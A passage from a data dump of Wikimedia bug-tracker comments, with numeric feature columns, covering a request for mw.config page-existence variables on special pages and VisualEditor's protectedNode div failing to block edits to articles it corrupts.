239127,mw.config doesn't expose page existence information about the target of a special page,"'wgRelevantArticleId' => WikiPage::factory( $relevantTitle )->getId() perhaps?

I'm not sure we want to introduce new variables here though...",,,1413833849,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-rzsc7tmlupqbuaedolkl,task_subcomment,,True,c1,3,True,,,68,,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,3.0,0.0,0.0,10.0,0.0,0.0,0.0,7.0,0.0,17.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,7.0,3.0,0.0,3.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.379310344827586,0.896551724137931,"'wgRelevantArticleId' => WikiPage::factory( $relevantTitle )->getId() perhaps?

I'm not sure we want to introduce new variables here though..."
239124,mw.config doesn't expose page existence information about the target of a special page,Sounds like you need the js variable 'wgIsProbablyEditable' or 'wgIsArticle' according to page under 'wgRelevantPageName' or a new variable 'wgRelevantIsProbablyEditable'/'wgRelevantIsArticle' to cover this.,,,1404280264,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,True,,,PHID-TASK-rzsc7tmlupqbuaedolkl,task_subcomment,,True,c1,3,True,,,52,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,12.0,6.0,0.0,25.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,5.78125,0.6875,Sounds like you need the js variable 'wgIsProbablyEditable' or 'wgIsArticle' according to page under 'wgRelevantPageName' or a new variable 'wgRelevantIsProbablyEditable'/'wgRelevantIsArticle' to cover this.
239121,mw.config doesn't expose page existence information about the target of a special page,This bug is about giving existence information for the relevant article (i.e. the article that the special page is working on). See bug 66885,,,1403552699,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-rzsc7tmlupqbuaedolkl,task_subcomment,,True,c1,3,True,,,51,,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,22.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,7.0,7.0,4.0,0.0,15.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,4.37037037037037,0.8148148148148148,This bug is about giving existence information for the relevant article (i.e. the article that the special page is working on). See bug 66885
239118,mw.config doesn't expose page existence information about the target of a special page,"(In reply to comment #3)
> There is wgCanonicalSpecialPageName set, when you are on a special page.

-> WORKSFORME",,,1384032206,,PHID-USER-a6jwrurphpx6yl4coupk,True,,,PHID-TASK-rzsc7tmlupqbuaedolkl,task_subcomment,,True,c1,3,False,,,18,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.857142857142857,1.0,"(In reply to comment #3)
QUOTE

-> WORKSFORME"
239112,mw.config doesn't expose page existence information about the target of a special page,"There is wgCanonicalSpecialPageName set, when you are on a special page.",,,1378631680,,PHID-USER-a6jwrurphpx6yl4coupk,True,,,PHID-TASK-rzsc7tmlupqbuaedolkl,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,8.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,4.769230769230769,1.0,"There is wgCanonicalSpecialPageName set, when you are on a special page."
239104,mw.config doesn't expose page existence information about the target of a special page,"Change 82744 merged by jenkins-bot:
Reference core bug 53774 in bug 49000 comment

https://gerrit.wikimedia.org/r/82744",,,1378356954,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-rzsc7tmlupqbuaedolkl,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,37.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.315789473684211,0.9473684210526315,"Change 82744 merged by jenkins-bot:
Reference core bug 53774 in bug 49000 comment

GERRIT_URL"
239095,mw.config doesn't expose page existence information about the target of a special page,"Change 82744 had a related patch set uploaded by Jforrester:
Reference core bug 53774 in bug 49000 comment

https://gerrit.wikimedia.org/r/82744",,,1378325283,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-rzsc7tmlupqbuaedolkl,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.636363636363637,0.9545454545454546,"Change 82744 had a related patch set uploaded by Jforrester:
Reference core bug 53774 in bug 49000 comment

GERRIT_URL"
55767,"VisualEditor: <div class=""ve-ce-protectedNode""> not always preventing editing in VE","**Author:** `kwwilliams`

**Description:**
When articles contain items that lead VE to corrupt the article, we've been protecting them by wrapping the article with <div class=""ve-ce-protectedNode""> and </div>. This used to keep VE from being able to select any material within the article, which allowed us to keep the article from being corrupted.

VE is now allowing edits to templates inside the article (see https://en.wikipedia.org/w/index.php?title=Teenage_Dream_%28Katy_Perry_album%29&veaction=edit for an example), so we now have no way to protect articles that we know VE cannot handle.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52141",Medium,50.0,1378317960,1403741232.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-s47345xgplfmgixnp726,task_description,declined,True,c1,3,False,False,False,9,,0.5,0.0,0.0,0.5,0.5,2.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.5,0.5,4.0,7.5,0.0,2.5,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.5,0.0,0.0,3.5,2.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.5,0.5,1.5,2.5,0.0,0.5,0.5,0.5,0.0,12.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.5,0.0,3.5,2.5,9.0,0.5,0.5,6.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,7.5,4.5,0.0,0.5,0.0,3.0,0.0,2.0,0.5,1.0,1.5,0.0,0.0,2.5,3.6642857142857146,0.6857142857142857,"**Author:** CODE

**Description:**
When articles contain items that lead VE to corrupt the article, we've been protecting them by wrapping the article with <div class=""ve-ce-protectedNode""> and </div>. This used to keep VE from being able to select any material within the article, which allowed us to keep the article from being corrupted.

VE is now allowing edits to templates inside the article (see URL for an example), so we now have no way to protect articles that we know VE cannot handle.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
238471,"VisualEditor: <div class=""ve-ce-protectedNode""> not always preventing editing in VE","(In reply to This, that and the other from comment #13)
> As it stands, this is a dupe of bug 52141. I've put back the original bug
> summary; it seems to me that WONTFIX is the appropriate resolution for this
> bug.

Agreed.",,,1403741232,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-s47345xgplfmgixnp726,task_subcomment,,True,c1,3,True,,,51,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,25.0,0.0,4.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.8333333333333334,"(In reply to This, that and the other from comment #13)
QUOTE
QUOTE
QUOTE

Agreed."
238466,"VisualEditor: <div class=""ve-ce-protectedNode""> not always preventing editing in VE","As it stands, this is a dupe of bug 52141. I've put back the original bug summary; it seems to me that WONTFIX is the appropriate resolution for this bug.",,,1403416223,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-s47345xgplfmgixnp726,task_subcomment,,True,c1,3,False,,,50,,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,6.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,9.0,3.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,11.0,14.0,3.0,0.0,0.0,0.0,11.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.5714285714285716,0.8,"As it stands, this is a dupe of bug 52141. I've put back the original bug summary; it seems to me that WONTFIX is the appropriate resolution for this bug."
238461,"VisualEditor: <div class=""ve-ce-protectedNode""> not always preventing editing in VE","James, that is bug 52141.  This bug was about a specific problem with the existing code.",,,1383886236,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-s47345xgplfmgixnp726,task_subcomment,,True,c1,3,False,,,18,,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,3.65,0.9,"James, that is bug 52141.  This bug was about a specific problem with the existing code."
238457,"VisualEditor: <div class=""ve-ce-protectedNode""> not always preventing editing in VE","Changing this to ""Provide a way to block VisualEditor from being active on a page""; I worry that this will lead to yet another magic word, but oh well.",,,1381342100,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-s47345xgplfmgixnp726,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,18.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,12.0,3.0,3.0,15.0,0.0,0.0,0.0,0.0,9.0,6.0,0.0,0.0,3.0,18.0,3.0,0.0,6.0,0.0,3.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,3.6176470588235294,0.8529411764705882,"Changing this to ""Provide a way to block VisualEditor from being active on a page""; I worry that this will lead to yet another magic word, but oh well."
238453,"VisualEditor: <div class=""ve-ce-protectedNode""> not always preventing editing in VE","I was very easily able to reproduce this problem; I dont have exact steps to reproduce, but with a few clicks and keypresses in the content area, all content was removed and the text I typed appeared in the body of the article.  Undo appeared to work as expected, however 'Review your changes' did not return any results - it hung, but didnt lock up the browser.  The toolbar is another way to override the protectedNode.

This template is also being used to create a 'pre' text area on
https://en.wikipedia.org/w/index.php?title=Morse_code&veaction=edit",,,1380637712,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-s47345xgplfmgixnp726,task_subcomment,,True,c1,3,False,,,13,,2.0,0.0,0.5,1.5,1.0,2.5,1.0,0.0,0.0,0.0,2.5,3.5,0.0,0.0,0.0,1.5,0.0,5.0,7.5,0.0,3.5,0.0,0.0,0.0,5.5,0.5,0.0,0.0,0.0,0.0,0.0,2.5,1.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,3.5,0.0,0.0,0.0,0.0,0.0,6.0,4.0,5.5,0.0,2.5,10.0,0.0,0.0,0.0,0.0,6.5,0.0,0.0,0.0,3.5,7.5,1.5,0.0,3.5,0.0,3.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,3.731481481481482,0.787037037037037,"I was very easily able to reproduce this problem; I dont have exact steps to reproduce, but with a few clicks and keypresses in the content area, all content was removed and the text I typed appeared in the body of the article.  Undo appeared to work as expected, however 'Review your changes' did not return any results - it hung, but didnt lock up the browser.  The toolbar is another way to override the protectedNode.

This template is also being used to create a 'pre' text area on
URL"
238448,"VisualEditor: <div class=""ve-ce-protectedNode""> not always preventing editing in VE","**kwwilliams** wrote:

Note https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&diff=572094345&oldid=572076135 , where another 26,000 articles that VE mutilates have been identified.

We really need to have a method to shield articles from VE. It's critical to do, and beyond reason to expect that we will always modify articles to conform to VE's expectations.",,,1378671601,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-s47345xgplfmgixnp726,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,13.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,12.0,3.0,2.0,3.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,5.0,15.0,8.0,0.0,0.0,0.0,5.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,3.966666666666667,0.6833333333333333,"**kwwilliams** wrote:

Note URL , where another 26,000 articles that VE mutilates have been identified.

We really need to have a method to shield articles from VE. It's critical to do, and beyond reason to expect that we will always modify articles to conform to VE's expectations."
238441,"VisualEditor: <div class=""ve-ce-protectedNode""> not always preventing editing in VE","I tried again on my test page on a different computer running Firefox 17.0.2 (ESR) under XP.

At first, it seemed that the protected node was working, but at some point (after clicking, double-clicking, typing, ...) I managed to write in the protected node: the result was an even greater mess than before: still the duplication, quotes added all over the place (they seem correct but unnecessary), pipes removed, space added, ...

https://en.wikipedia.org/w/index.php?title=User%3ANicoV%2FTest&diff=571628361&oldid=571542702",,,1378379690,,PHID-USER-o34e5i3eq4nstbvcf26w,False,,,PHID-TASK-s47345xgplfmgixnp726,task_subcomment,,True,c1,3,False,,,9,,2.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,12.0,0.0,1.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,7.0,1.0,2.0,8.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,5.0,12.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,2.0,1.0,0.0,0.0,3.8421052631578947,0.7157894736842105,"I tried again on my test page on a different computer running Firefox 17.0.2 (ESR) under XP.

At first, it seemed that the protected node was working, but at some point (after clicking, double-clicking, typing, ...) I managed to write in the protected node: the result was an even greater mess than before: still the duplication, quotes added all over the place (they seem correct but unnecessary), pipes removed, space added, ...

URL"
238433,"VisualEditor: <div class=""ve-ce-protectedNode""> not always preventing editing in VE","**kwwilliams** wrote:

(In reply to comment #6)
> On the wider point, it's not clear if there's an actual long-term need for a
> proper VE-prevention system (or if it's all solvable with a few quick fixes
> of
> bad wikitext), but if there is, we should build a proper one, not rely on a
> hack that might break.

What's unclear about that?

I agree that it would be better to do this with a category, but the need for VE to recognise some flag that tells it not to edit a given article seems fairly obvious. As long as VE mutilates pages in response to inputs that behaved reasonably with the working software, we will require a mechanism to tell VE not to edit certain pages.",,,1378324543,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-s47345xgplfmgixnp726,task_subcomment,,True,c1,3,False,,,9,,1.0,0.0,0.0,0.0,2.0,3.0,0.5,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,1.5,0.0,6.0,12.0,0.0,5.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.0,4.0,1.0,1.5,2.0,0.0,1.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,2.0,0.5,11.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.5,8.0,0.5,0.5,6.0,0.0,0.0,0.0,0.5,6.5,0.0,0.5,0.0,3.0,12.0,5.0,0.5,0.0,0.0,3.0,0.0,2.5,2.5,0.0,1.0,0.5,0.0,0.0,3.6372549019607843,0.7352941176470589,"**kwwilliams** wrote:

(In reply to comment #6)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

What's unclear about that?

I agree that it would be better to do this with a category, but the need for VE to recognise some flag that tells it not to edit a given article seems fairly obvious. As long as VE mutilates pages in response to inputs that behaved reasonably with the working software, we will require a mechanism to tell VE not to edit certain pages."
238427,"VisualEditor: <div class=""ve-ce-protectedNode""> not always preventing editing in VE","(In reply to comment #5)
> The div has been removed, so people need to look at
> https://en.wikipedia.org/w/index.
> php?title=Teenage_Dream_%28Katy_Perry_album%29&oldid=571540632

In this particular case, note that the reason everything was broken in editing this page was because the <ref> was defined outside of the table cell, in a the non-space between the end of the cell and the start of the row, and only happened to ""work"" in WT mode because of HTML Tidy moving it to somewhere sane - Ed's edit to the page fixed the duplication so the desired protection is no longer needed: https://en.wikipedia.org/w/index.php?title=Teenage_Dream_(Katy_Perry_album)&diff=571550633&oldid=571540632

On the wider point, it's not clear if there's an actual long-term need for a proper VE-prevention system (or if it's all solvable with a few quick fixes of bad wikitext), but if there is, we should build a proper one, not rely on a hack that might break.",,,1378323301,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-s47345xgplfmgixnp726,task_subcomment,,True,c1,3,True,,,9,,1.0,0.5,0.0,1.5,1.0,7.0,0.5,1.0,0.0,2.0,3.0,0.0,0.0,0.5,1.0,0.5,0.0,4.5,14.5,0.5,1.0,0.5,0.0,0.0,2.5,0.0,0.0,0.5,0.5,0.0,0.5,3.5,1.0,1.5,1.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.5,0.5,14.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,1.5,0.0,0.5,0.0,10.0,2.5,6.5,4.0,2.0,11.0,0.0,0.0,0.0,0.5,3.0,0.0,1.0,0.0,3.0,14.5,2.5,0.0,1.0,0.0,3.0,0.0,0.5,3.5,0.0,1.0,1.0,0.0,0.5,3.4669391853126794,0.706899024670109,"(In reply to comment #5)
QUOTE
QUOTE
QUOTE

In this particular case, note that the reason everything was broken in editing this page was because the <ref> was defined outside of the table cell, in a the non-space between the end of the cell and the start of the row, and only happened to ""work"" in WT mode because of HTML Tidy moving it to somewhere sane - Ed's edit to the page fixed the duplication so the desired protection is no longer needed: URL

On the wider point, it's not clear if there's an actual long-term need for a proper VE-prevention system (or if it's all solvable with a few quick fixes of bad wikitext), but if there is, we should build a proper one, not rely on a hack that might break."
238421,"VisualEditor: <div class=""ve-ce-protectedNode""> not always preventing editing in VE","**kwwilliams** wrote:

The div has been removed, so people need to look at https://en.wikipedia.org/w/index.php?title=Teenage_Dream_%28Katy_Perry_album%29&oldid=571540632",,,1378322920,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-s47345xgplfmgixnp726,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.142857142857143,0.8571428571428571,"**kwwilliams** wrote:

The div has been removed, so people need to look at URL"
238417,"VisualEditor: <div class=""ve-ce-protectedNode""> not always preventing editing in VE","**kwwilliams** wrote:

(In reply to comment #3)
> According to the documentation, the div is only meant to block editing to a
> section of a page (although that section can be the whole text), so adding
> text
> before is correct, likewise you should be able to add text after the /div.
It's a change from the original behaviour. I agree that it's not technically wrong.",,,1378321376,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-s47345xgplfmgixnp726,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,16.0,2.0,0.0,5.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,7.0,9.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.186046511627907,0.7209302325581395,"**kwwilliams** wrote:

(In reply to comment #3)
QUOTE
QUOTE
QUOTE
QUOTE
It's a change from the original behaviour. I agree that it's not technically wrong."
238411,"VisualEditor: <div class=""ve-ce-protectedNode""> not always preventing editing in VE","According to the documentation, the div is only meant to block editing to a section of a page (although that section can be the whole text), so adding text before is correct, likewise you should be able to add text after the /div.

The editing templates within the div does sound like a bug though.

If VE (or Parsoid possibly) is not treating the div as invariant then the div definitely isn't doing what it was intended to do.",,,1378320819,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-s47345xgplfmgixnp726,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,2.0,2.0,4.0,3.0,0.0,2.0,1.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,10.0,13.0,0.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,1.0,1.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,10.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,8.0,5.0,2.0,2.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,13.0,5.0,0.0,0.0,0.0,2.0,0.0,1.0,3.0,0.0,5.0,0.0,0.0,0.0,3.8260869565217392,0.6739130434782609,"According to the documentation, the div is only meant to block editing to a section of a page (although that section can be the whole text), so adding text before is correct, likewise you should be able to add text after the /div.

The editing templates within the div does sound like a bug though.

If VE (or Parsoid possibly) is not treating the div as invariant then the div definitely isn't doing what it was intended to do."
238406,"VisualEditor: <div class=""ve-ce-protectedNode""> not always preventing editing in VE","**kwwilliams** wrote:

Firefox 23.0.1 on Windows 7.

To be clear, we are still prevented from editing the text. We are not prevented from editing templates, and we can insert text before div.",,,1378319066,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-s47345xgplfmgixnp726,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,5.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,5.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,9.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,7.0,11.0,9.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.6818181818181817,0.7045454545454546,"**kwwilliams** wrote:

Firefox 23.0.1 on Windows 7.

